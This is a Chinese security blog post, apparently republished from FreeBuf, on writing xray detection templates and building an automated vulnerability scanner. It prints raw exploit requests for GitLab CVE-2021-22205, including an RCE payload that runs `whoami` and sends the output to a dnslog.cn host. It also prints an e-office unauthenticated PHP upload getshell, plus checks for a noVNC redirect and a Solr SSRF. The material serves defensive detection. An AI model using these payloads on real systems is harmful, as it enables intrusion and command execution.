編寫POC
以xray為例
學(xué)習(xí)文檔
先學(xué)習(xí)下相關(guān)文檔,大家挨個(gè)看一遍就行,有個(gè)印象即可,不用死記硬背。
如何編寫YAML格式POC
POC語(yǔ)法V2版
如何編寫高質(zhì)量的 poc
BugScan 插件開發(fā)文檔
插件編寫
官方公布最基礎(chǔ)的POC如下
name: poc-yaml-example-com # 腳本部分 transport: http rules: r1: request: method: GET path: "/" expression: | response.status==200 && response.body.bcontains(b'Example Domain') expression: r1() # 信息部分 detail: author: name(link) links: - http://example.com
編寫編輯器
poc實(shí)踐
CVE-2021-3654
路徑處理出了問(wèn)題,網(wǎng)站域名加上//example.com/%2f..即可進(jìn)行url跳轉(zhuǎn)
直接get請(qǐng)求,所以poc很簡(jiǎn)單,有手就行。
name: poc-yaml-novnc-url-redirection-cve-2021-3654 manual: true transport: http rules: - method: GET path: "http://baidu.com/%2f.." follow_redirects: false expression: | response.headers['location']=="http://baidu.com/%2f../" detail: author: txf(https://github.com/tangxiaofeng7) links: - https://seclists.org/oss-sec/2021/q3/188
CVE-2021-22205
exiftool解析造成的rce
一共發(fā)送2個(gè)請(qǐng)求
請(qǐng)求1:
GET /users/sign_in HTTP/1.1 Host: xx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close
獲取csrf-token
請(qǐng)求2:
POST /uploads/user HTTP/1.1 Host: xx User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5 X-CSRF-Token: xxx== Cookie: xx Content-Length: 879 ------WebKitFormBoundaryIMv3mxRg59TkFSX5 Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg AT&TFORM?DJVMDIRM.?F????? !?N????k?D,q?I?n????"?FORM^DJVUINFO dINCLshared_anno.iffBG44J???7?*?BG44??BG44 FORMDJVIANTaP(metadata (Copyright " " . qx{curl `whoami`.dnslog.cn} . " b ") ) ------WebKitFormBoundaryIMv3mxRg59TkFSX5--
上傳圖片觸發(fā)rce。
由于xray目前支持的編碼解碼有限,不支持hex解碼,所以我們直接寫的簡(jiǎn)單點(diǎn),使用隨機(jī)字符進(jìn)行判斷,poc很簡(jiǎn)單,有手就行。
name: poc-yaml-gitlab-cve-2021-22205-rce set: r1: randomInt(1, 9999) r2: randomInt(1, 9999) manual: true transport: http rules: - method: GET path: "/users/sign_in" expression: response.status == 200 search: >- name="csrf-token" content="(?P.+?)" - method: POST path: "/uploads/user" headers: X-CSRF-Token: |- {{token}} Content-Type: |- multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5 Accept: "*/*" body: |- ------WebKitFormBoundaryIMv3mxRg59TkFSX5 Content-Disposition: form-data; name="file"; filename="{{r1}}.jpg" Content-Type: image/jpeg {{r2}} ------WebKitFormBoundaryIMv3mxRg59TkFSX5-- expression: response.body.bcontains(b'Failed to process image') detail: author: txf(https://github.com/tangxiaofeng7) links: - https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released
CVE-2021-27905
這是SSRF漏洞,需要使用反連平臺(tái),加上reverse的即可,官方寫的很詳細(xì)了。所以poc很簡(jiǎn)單,有手就行。
name: poc-yaml-solr-cve-2021-27905-ssrf manual: true transport: http set: reverse: newReverse() reverseURL: reverse.url rules: - method: GET path: "/solr/admin/cores?indexInfo=false&wt=json" expression: | response.status == 200 search: >- "name":"(?P.+?)" - method: POST path: "/solr/{{name}}/replication/?command=fetchindex&masterUrl={{reverseURL}}" expression: | reverse.wait(5) detail: author: txf(https://github.com/tangxiaofeng7) links: - https://github.com/murataydemir/CVE-2021-27905
0day應(yīng)急
不管是甲方還是乙方,一旦暴出新漏洞,應(yīng)急顯得非常重要。
大部分人都是直接寫poc批量檢測(cè)內(nèi)部應(yīng)用,當(dāng)然我也不例外。
舉個(gè)例子:
泛微e-office 文件上傳漏洞風(fēng)險(xiǎn)通告(CNVD-2021-49104)
部署靶場(chǎng)環(huán)境
影響版本
泛微e-office V9.0
首先虛擬機(jī)安裝下。
安裝完成后,默認(rèn)賬號(hào)admin,密碼為空。
POC構(gòu)造
Burpsuite原始包文
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 10.211.55.11:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://10.211.55.11:8080/login.php Cookie: LOGIN_LANG=cn; PHPSESSID=c57f0b37a12cf9dd61e35b909289d1b9 Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 Content-Length: 191 --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="test1.php" Content-Type: image/jpeg 123 --e64bdf16c554bbc109cecef6451c26a4--
訪問(wèn)上傳的文件是否生效
編寫poc
name: poc-yaml-e-office-v9-upload-getshell manual: true transport: http set: r1: randomLowercase(8) rules: r1: request: cache: true method: POST path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= headers: Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 body: |- --e64bdf16c554bbc109cecef6451c26a4 Content-Disposition: form-data; name="Filedata"; filename="{{r1}}.php" Content-Type: image/jpeg {{r1}} --e64bdf16c554bbc109cecef6451c26a4-- expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php") r2: request: cache: true method: GET path: /images/logo/logo-eoffice.php expression: response.status == 200 && response.body.bcontains(bytes(r1)) expression: r1() && r2() detail: author: test links: - https://github.com/chaitin/xray/pull/1540/files
XRAY批量
將需要掃描的url寫到url.txt里,然后執(zhí)行如下命令。
./xray_darwin_amd64 webscan --poc "/Users/txf/poc/e-officev9-upload-getshell.yml" --url-file url.txt --html-output result.txt
DIY自動(dòng)化掃描器
之前看了linglong(一款資產(chǎn)巡航掃描系統(tǒng))的源碼,在他的基礎(chǔ)上重構(gòu)了一些功能。
一起看看我是如何把xray加到自動(dòng)化掃描器中。
掃描器開關(guān)
在linglong的基礎(chǔ)上,我為掃描器添加了開關(guān)。
在代碼中定義了一個(gè)布爾值來(lái)做控制。
端口掃描
跟市面上掃描器意義,使用masscan去掃描存活端口,使用nmap進(jìn)行端口的指紋識(shí)別。
原因:
1.Nmap在掃描數(shù)量較大的目標(biāo)時(shí)性能緩慢 2.Masscan在高速率的掃描較大端口范圍時(shí)結(jié)果不太準(zhǔn)確
web指紋掃描
直接用的開源的識(shí)別工具加到代碼里。
漏洞掃描
在進(jìn)行xray漏洞掃描之前,先定義掃描目標(biāo)的格式,代碼如下:
然后調(diào)用cmd終端執(zhí)行xray掃描即可。
結(jié)果通知
直接寫一個(gè)企業(yè)微信機(jī)器人的通知。
當(dāng)然也可以用xray自帶的webhook通知,沒用過(guò),這里感興趣的可以試試。
端口指紋界面:
漏洞界面:
當(dāng)然如果是企業(yè)自查xray肯定可以開啟掃描,如果是SRC掃描的話不建議開xray去掃描,動(dòng)靜太大了。
尾聲
如果針對(duì)外網(wǎng)掃描的話,建議再加上waf識(shí)別,cdn識(shí)別,否則效率會(huì)很低,還容易被封ip。
總的來(lái)說(shuō)挖掘SRC,更重要的是信息收集。
這就是目前安全應(yīng)急和漏洞掃描的方法,歡迎大家積極交流。
作者:tangxiaofeng7,轉(zhuǎn)載于FreeBuf.COM
審核編輯:湯梓紅
-
漏洞掃描
+關(guān)注
關(guān)注
0文章
14瀏覽量
7306 -
PoC
+關(guān)注
關(guān)注
1文章
70瀏覽量
20522 -
編輯器
+關(guān)注
關(guān)注
1文章
806瀏覽量
31172
原文標(biāo)題:干貨|我的漏洞掃描及安全應(yīng)急之道
文章出處:【微信號(hào):菜鳥學(xué)信安,微信公眾號(hào):菜鳥學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論